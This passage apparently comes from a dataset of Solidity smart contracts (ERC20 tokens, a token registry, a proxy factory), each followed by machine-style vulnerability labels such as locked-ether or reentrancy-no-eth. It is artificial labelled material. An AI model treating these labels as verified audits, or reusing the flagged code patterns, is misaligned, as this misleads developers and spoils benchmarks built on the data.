require(msg.sender == pendingOwner);
_;
}
/// @dev Allows the current owner to set the pendingOwner address.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != 0x0 && newOwner != owner);
pendingOwner = newOwner;
}
/// @dev Allows the pendingOwner address to finalize the transfer.
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = 0x0;
}
}
/// @title Token Register Contract
/// @dev This contract maintains a list of tokens the Protocol supports.
/// @author Kongliang Zhong - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="c6ada9a8a1aaafa7a8a186aaa9a9b6b4afa8a1e8a9b4a1">[email protected]</a>>,
/// @author Daniel Wang - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="1f7b7e71767a735f7370706f6d76717831706d78">[email protected]</a>>.
contract TokenRegistry is Claimable {
using AddressUtil for address;
address tokenMintAddr;
address[] public addresses;
mapping (address => TokenInfo) addressMap;
mapping (string => address) symbolMap;
////////////////////////////////////////////////////////////////////////////
/// Structs ///
////////////////////////////////////////////////////////////////////////////
struct TokenInfo {
uint pos; // 0 mens unregistered; if > 0, pos + 1 is the
// token's position in `addresses`.
string symbol; // Symbol of the token
}
////////////////////////////////////////////////////////////////////////////
/// Events ///
////////////////////////////////////////////////////////////////////////////
event TokenRegistered(address addr, string symbol);
event TokenUnregistered(address addr, string symbol);
////////////////////////////////////////////////////////////////////////////
/// Public Functions ///
////////////////////////////////////////////////////////////////////////////
/// @dev Disable default function.
function () payable public {
revert();
}
function TokenRegistry(address _tokenMintAddr) public
{
require(_tokenMintAddr.isContract());
tokenMintAddr = _tokenMintAddr;
}
function registerToken(
address addr,
string symbol
)
external
onlyOwner
{
registerTokenInternal(addr, symbol);
}
function registerMintedToken(
address addr,
string symbol
)
external
{
require(msg.sender == tokenMintAddr);
registerTokenInternal(addr, symbol);
}
function unregisterToken(
address addr,
string symbol
)
external
onlyOwner
{
require(addr != 0x0);
require(symbolMap[symbol] == addr);
delete symbolMap[symbol];
uint pos = addressMap[addr].pos;
require(pos != 0);
delete addressMap[addr];
// We will replace the token we need to unregister with the last token
// Only the pos of the last token will need to be updated
address lastToken = addresses[addresses.length - 1];
// Don't do anything if the last token is the one we want to delete
if (addr != lastToken) {
// Swap with the last token and update the pos
addresses[pos - 1] = lastToken;
addressMap[lastToken].pos = pos;
}
addresses.length--;
emit TokenUnregistered(addr, symbol);
}
function areAllTokensRegistered(address[] addressList)
external
view
returns (bool)
{
for (uint i = 0; i < addressList.length; i++) {
if (addressMap[addressList[i]].pos == 0) {
return false;
}
}
return true;
}
function getAddressBySymbol(string symbol)
external
view
returns (address)
{
return symbolMap[symbol];
}
function isTokenRegisteredBySymbol(string symbol)
public
view
returns (bool)
{
return symbolMap[symbol] != 0x0;
}
function isTokenRegistered(address addr)
public
view
returns (bool)
{
return addressMap[addr].pos != 0;
}
function getTokens(
uint start,
uint count
)
public
view
returns (address[] addressList)
{
uint num = addresses.length;
if (start >= num) {
return;
}
uint end = start + count;
if (end > num) {
end = num;
}
if (start == num) {
return;
}
addressList = new address[](end - start);
for (uint i = start; i < end; i++) {
addressList[i - start] = addresses[i];
}
}
function registerTokenInternal(
address addr,
string symbol
)
internal
{
require(0x0 != addr);
require(bytes(symbol).length > 0);
require(0x0 == symbolMap[symbol]);
require(0 == addressMap[addr].pos);
addresses.push(addr);
symbolMap[symbol] = addr;
addressMap[addr] = TokenInfo(addresses.length, symbol);
emit TokenRegistered(addr, symbol);
}
}
/// @title ERC20 Token Mint
/// @dev This contract deploys ERC20 token contract and registered the contract
/// so the token can be traded with Loopring Protocol.
/// @author Kongliang Zhong - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="761d1918111a1f171811361a191906041f181158190411">[email protected]</a>>,
/// @author Daniel Wang - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="ef8b8e81868a83af8380809f9d868188c1809d88">[email protected]</a>>.
contract TokenFactory {
using AddressUtil for address;
using StringUtil for string;
mapping(bytes10 => address) public tokens;
address public tokenRegistry;
event TokenCreated(
address indexed addr,
string name,
string symbol,
uint8 decimals,
uint totalSupply,
address firstHolder
);
/// @dev Disable default function.
function () payable public
{
revert();
}
/// @dev Initialize TokenRegistry address.
/// This method shall be called immediately upon deployment.
function initialize(address _tokenRegistry)
public
{
require(tokenRegistry == 0x0 && _tokenRegistry.isContract());
tokenRegistry = _tokenRegistry;
}
/// @dev Deploy an ERC20 token contract, register it with TokenRegistry,
/// and returns the new token's address.
/// @param name The name of the token
/// @param symbol The symbol of the token.
/// @param decimals The decimals of the token.
/// @param totalSupply The total supply of the token.
function createToken(
string name,
string symbol,
uint8 decimals,
uint totalSupply
)
public
returns (address addr)
{
require(tokenRegistry != 0x0);
require(symbol.checkStringLength(3, 10));
bytes10 symbolBytes = symbol.stringToBytes10();
require(tokens[symbolBytes] == 0x0);
ERC20Token token = new ERC20Token(
name,
symbol,
decimals,
totalSupply,
tx.origin
);
addr = address(token);
TokenRegistry(tokenRegistry).registerMintedToken(addr, symbol);
tokens[symbolBytes] = addr;
emit TokenCreated(
addr,
name,
symbol,
decimals,
totalSupply,
tx.origin
);
}
} | These are the vulnerabilities found
1) constant-function-asm with Medium impact
2) reentrancy-no-eth with Medium impact
3) locked-ether with Medium impact
4) controlled-array-length with High impact |
/**
*Submitted for verification at Etherscan.io on 2021-05-31
*/
pragma solidity 0.4.25;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) balances;
uint256 _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0) && _value != 0 &&_value <= balances[msg.sender],"Please check the amount of transmission error and the amount you send.");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20Token is BasicToken, ERC20 {
using SafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping (address => mapping (address => uint256)) allowed;
mapping (address => uint256) public freezeOf;
function approve(address _spender, uint256 _value) public returns (bool) {
require(_value == 0 || allowed[msg.sender][_spender] == 0,"Please check the amount you want to approve.");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
mapping (address => bool) public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner,"I am not the owner of the wallet.");
_;
}
modifier onlyOwnerOrAdmin() {
require(msg.sender == owner || admin[msg.sender] == true,"It is not the owner or manager wallet address.");
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0) && newOwner != owner && admin[newOwner] == true,"It must be the existing manager wallet, not the existing owner's wallet.");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function setAdmin(address newAdmin) onlyOwner public {
require(admin[newAdmin] != true && owner != newAdmin,"It is not an existing administrator wallet, and it must not be the owner wallet of the token.");
admin[newAdmin] = true;
}
function unsetAdmin(address Admin) onlyOwner public {
require(admin[Admin] != false && owner != Admin,"This is an existing admin wallet, it must not be a token holder wallet.");
admin[Admin] = false;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused,"There is a pause.");
_;
}
modifier whenPaused() {
require(paused,"It is not paused.");
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0; }
uint256 c = a * b;
require(c / a == b,"An error occurred in the calculation process");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b !=0,"The number you want to divide must be non-zero.");
uint256 c = a / b;
require(c * b == a,"An error occurred in the calculation process");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a,"There are more to deduct.");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a,"The number did not increase.");
return c;
}
}
contract BurnableToken is BasicToken, Ownable {
event Burn(address indexed burner, uint256 amount);
function burn(uint256 _value) onlyOwner public {
balances[msg.sender] = balances[msg.sender].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
}
}
contract FreezeToken is BasicToken, Ownable {
event Freezen(address indexed freezer, uint256 amount);
event UnFreezen(address indexed freezer, uint256 amount);
mapping (address => uint256) freezeOf;
function freeze(uint256 _value) onlyOwner public {
balances[msg.sender] = balances[msg.sender].sub(_value);
freezeOf[msg.sender] = freezeOf[msg.sender].add(_value);
_totalSupply = _totalSupply.sub(_value);
emit Freezen(msg.sender, _value);
}
function unfreeze(uint256 _value) onlyOwner public {
require(freezeOf[msg.sender] >= _value,"The number to be processed is more than the total amount and the number currently frozen.");
balances[msg.sender] = balances[msg.sender].add(_value);
freezeOf[msg.sender] = freezeOf[msg.sender].sub(_value);
_totalSupply = _totalSupply.add(_value);
emit Freezen(msg.sender, _value);
}
}
contract EqtToken is BurnableToken,FreezeToken, DetailedERC20, ERC20Token,Pausable{
using SafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
event LockerChanged(address indexed owner, uint256 amount);
mapping(address => uint) locker;
string private _symbol = "EQT Token";
string private _name = "EQT";
uint8 private _decimals = 18;
uint256 private TOTAL_SUPPLY = 10*(10**8)*(10**uint256(_decimals));
constructor() DetailedERC20(_name, _symbol, _decimals) public {
_totalSupply = TOTAL_SUPPLY;
balances[owner] = _totalSupply;
emit Transfer(address(0x0), msg.sender, _totalSupply);
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool){
require(balances[msg.sender].sub(_value) >= locker[msg.sender],"Attempting to send more than the locked number");
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool){
require(_to > address(0) && _from > address(0),"Please check the address" );
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value,"Please check the amount of transmission error and the amount you send.");
require(balances[_from].sub(_value) >= locker[_from],"Attempting to send more than the locked number" );
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transferList(address[] _recipients, uint256[] _balances) public onlyOwnerOrAdmin{
require(_recipients.length == _balances.length,"The number of wallet arrangements and the number of amounts are different.");
for (uint i=0; i < _recipients.length; i++) {
balances[msg.sender] = balances[msg.sender].sub(_balances[i]);
balances[_recipients[i]] = balances[_recipients[i]].add(_balances[i]);
emit Transfer(msg.sender,_recipients[i],_balances[i]);
}
}
function lockOf(address _address) public view returns (uint256 _locker) {
return locker[_address];
}
function setLock(address _address, uint256 _value) public onlyOwnerOrAdmin {
require(_value <= _totalSupply &&_address != address(0),"It is the first wallet or attempted to lock an amount greater than the total holding.");
locker[_address] = _value;
emit LockerChanged(_address, _value);
}
function setLockList(address[] _recipients, uint256[] _balances) public onlyOwnerOrAdmin{
require(_recipients.length == _balances.length,"The number of wallet arrangements and the number of amounts are different.");
for (uint i=0; i < _recipients.length; i++) {
require(_recipients[i] != address(0),'Please check the address');
locker[_recipients[i]] = _balances[i];
emit LockerChanged(_recipients[i], _balances[i]);
}
}
function() public payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.11;
contract mortal
{
address owner;
function mortal() { owner = msg.sender; }
function kill() { if(msg.sender == owner) selfdestruct(owner); }
}
contract myTime is mortal
{
uint deployTime;
/* Constructor */
function myTime() public
{
deployTime = block.timestamp;
}
function getDeployTime() constant returns (uint)
{
return deployTime;
}
function getBlockTime() constant returns (uint)
{
return block.timestamp;
}
function getNowTime() constant returns (uint)
{
return now;
}
} | No vulnerabilities found |
pragma solidity ^0.4.24;
// File: contracts/ERC20.sol
/**
* @title ERC20
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/FlyCoin.sol
/**
* FLYCoin ERC20 token
* Based on the OpenZeppelin Standard Token
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/token/ERC20/StandardToken.sol
*/
contract MigrationSource {
function vacate(address _addr) public returns (uint256 o_balance);
}
contract FLYCoin is MigrationSource, ERC20 {
using SafeMath for uint256;
string public constant name = "FLYCoin";
string public constant symbol = "FLY";
// picked to have 15 digits which will fit in a double full precision
uint8 public constant decimals = 5;
uint internal totalSupply_ = 3000000000000000;
address public owner;
mapping(address => User) public users;
MigrationSource public migrateFrom;
address public migrateTo;
struct User {
uint256 balance;
mapping(address => uint256) authorized;
}
modifier only_owner(){
require(msg.sender == owner);
_;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event OptIn(address indexed owner, uint256 value);
event Vacate(address indexed owner, uint256 value);
constructor() public {
owner = msg.sender;
User storage user = users[owner];
user.balance = totalSupply_;
emit Transfer(0, owner, totalSupply_);
}
function totalSupply() public view returns (uint256){
return totalSupply_;
}
function balanceOf(address _addr) public view returns (uint256 balance) {
return users[_addr].balance;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
User storage user = users[msg.sender];
user.balance = user.balance.sub(_value);
users[_to].balance = users[_to].balance.add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
User storage user = users[_from];
user.balance = user.balance.sub(_value);
users[_to].balance = users[_to].balance.add(_value);
user.authorized[msg.sender] = user.authorized[msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success){
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (users[msg.sender].authorized[_spender] == 0));
users[msg.sender].authorized[_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _user, address _spender) public view returns (uint256){
return users[_user].authorized[_spender];
}
function setOwner(address _addr) public only_owner {
owner = _addr;
}
// Sets the contract address that this contract will migrate
// from when the optIn() interface is used.
//
function setMigrateFrom(address _addr) public only_owner {
require(migrateFrom == MigrationSource(0));
migrateFrom = MigrationSource(_addr);
}
// Sets the contract address that is allowed to call vacate on this
// contract.
//
function setMigrateTo(address _addr) public only_owner {
migrateTo = _addr;
}
// Called by a token holding address, this method migrates the
// tokens from an older version of the contract to this version.
//
// NOTE - allowances (approve) are *not* transferred. If you gave
// another address an allowance in the old contract you need to
// re-approve it in the new contract.
//
function optIn() public returns (bool success) {
require(migrateFrom != MigrationSource(0));
User storage user = users[msg.sender];
uint256 balance;
(balance) =
migrateFrom.vacate(msg.sender);
emit OptIn(msg.sender, balance);
user.balance = user.balance.add(balance);
totalSupply_ = totalSupply_.add(balance);
return true;
}
// The vacate method is called by a newer version of the FLYCoin
// contract to extract the token state for an address and migrate it
// to the new contract.
//
function vacate(address _addr) public returns (uint256 o_balance){
require(msg.sender == migrateTo);
User storage user = users[_addr];
require(user.balance > 0);
o_balance = user.balance;
totalSupply_ = totalSupply_.sub(user.balance);
user.balance = 0;
emit Vacate(_addr, o_balance);
}
// Don't accept ETH.
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) reentrancy-no-eth with Medium impact
2) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract OmVPNToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function OmVPNToken() public {
symbol = "OmVPN";
name = "OmVPN Token";
decimals = 2;
_totalSupply = 10000000000;
balances[0x878B30979b755620D9EaE3D1AA19E5cDA06D81c0] = _totalSupply;
Transfer(address(0), 0x878B30979b755620D9EaE3D1AA19E5cDA06D81c0, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity 0.4.24;
/// @title Proxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.pm>
contract Proxy {
// masterCopy always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
address masterCopy;
/// @dev Constructor function sets address of master copy contract.
/// @param _masterCopy Master copy address.
constructor(address _masterCopy)
public
{
require(_masterCopy != 0, "Invalid master copy address provided");
masterCopy = _masterCopy;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
function ()
external
payable
{
// solium-disable-next-line security/no-inline-assembly
assembly {
let masterCopy := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas, masterCopy, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) { revert(0, returndatasize()) }
return(0, returndatasize())
}
}
function implementation()
public
view
returns (address)
{
return masterCopy;
}
function proxyType()
public
pure
returns (uint256)
{
return 2;
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract ProxyFactory {
event ProxyCreation(Proxy proxy);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param masterCopy Address of master copy.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address masterCopy, bytes data)
public
returns (Proxy proxy)
{
proxy = new Proxy(masterCopy);
if (data.length > 0)
// solium-disable-next-line security/no-inline-assembly
assembly {
if eq(call(gas, proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) }
}
emit ProxyCreation(proxy);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.5.0;
/*
* ================================================
* @title: DigitalCoin
* @website: https://digitech.network
* @telegram: https://t.me/DigitechNetwork
* @twitter: https://twitter.com/DigitechNetwork
* NFTs - DGC token
* ================================================
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address target) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address target, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed target, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 m, uint256 n) internal pure returns (uint256) {
uint256 a = add(m, n);
uint256 b = sub(a, 1);
return mul(div(b, n), n);
}
}
contract ERC20implemented is IERC20 {
uint8 public _decimal;
string public _name;
string public _symbol;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_decimal = decimals;
_name = name;
_symbol = symbol;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimal;
}
}
contract DigitalCoin is ERC20implemented {
using SafeMath for uint256;
mapping (address => uint256) public _DGCBalance;
mapping (address => mapping (address => uint256)) public _allowed;
string constant TOKEN_NAME = "digitech.network";
string constant TOKEN_SYMBOL = "DGC";
uint8 constant TOKEN_DECIMAL = 18;
uint256 _totalSupply = 33333000000000000000000;
constructor() public payable ERC20implemented(TOKEN_NAME, TOKEN_SYMBOL, TOKEN_DECIMAL) {
_mint(msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _DGCBalance[owner];
}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _DGCBalance[msg.sender]);
require(to != address(0));
uint256 _d = value.div(20);
uint256 _transfer = value.sub(_d);
_DGCBalance[msg.sender] = _DGCBalance[msg.sender].sub(value);
_DGCBalance[to] = _DGCBalance[to].add(_transfer);
_totalSupply = _totalSupply.sub(_d);
emit Transfer(msg.sender, to, _transfer);
emit Transfer(msg.sender, address(0), _d);
return true;
}
function allowance(address owner, address target) public view returns (uint256) {
return _allowed[owner][target];
}
function approve(address target, uint256 value) public returns (bool) {
require(target != address(0));
_allowed[msg.sender][target] = value;
emit Approval(msg.sender, target, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _DGCBalance[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_DGCBalance[from] = _DGCBalance[from].sub(value);
uint256 _d = value.div(20);
uint256 _transfer = value.sub(_d);
_DGCBalance[to] = _DGCBalance[to].add(_transfer);
_totalSupply = _totalSupply.sub(_d);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, _transfer);
emit Transfer(from, address(0), _d);
return true;
}
function increaseAllowance(address target, uint256 addedValue) public returns (bool) {
require(target != address(0));
_allowed[msg.sender][target] = (_allowed[msg.sender][target].add(addedValue));
emit Approval(msg.sender, target, _allowed[msg.sender][target]);
return true;
}
function decreaseAllowance(address target, uint256 val) public returns (bool) {
require(target != address(0));
_allowed[msg.sender][target] = (_allowed[msg.sender][target].sub(val));
emit Approval(msg.sender, target, _allowed[msg.sender][target]);
return true;
}
function _mint(address account, uint256 amount) internal {
require(amount != 0);
_DGCBalance[account] = _DGCBalance[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(uint256 amount) external {
_sendBurn(msg.sender, amount);
}
function _sendBurn(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _DGCBalance[account]);
_totalSupply = _totalSupply.sub(amount);
_DGCBalance[account] = _DGCBalance[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_sendBurn(account, amount);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-04-24
*/
pragma solidity ^0.4.23;
// based on https://github.com/OpenZeppelin/openzeppelin-solidity/tree/v1.10.0
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
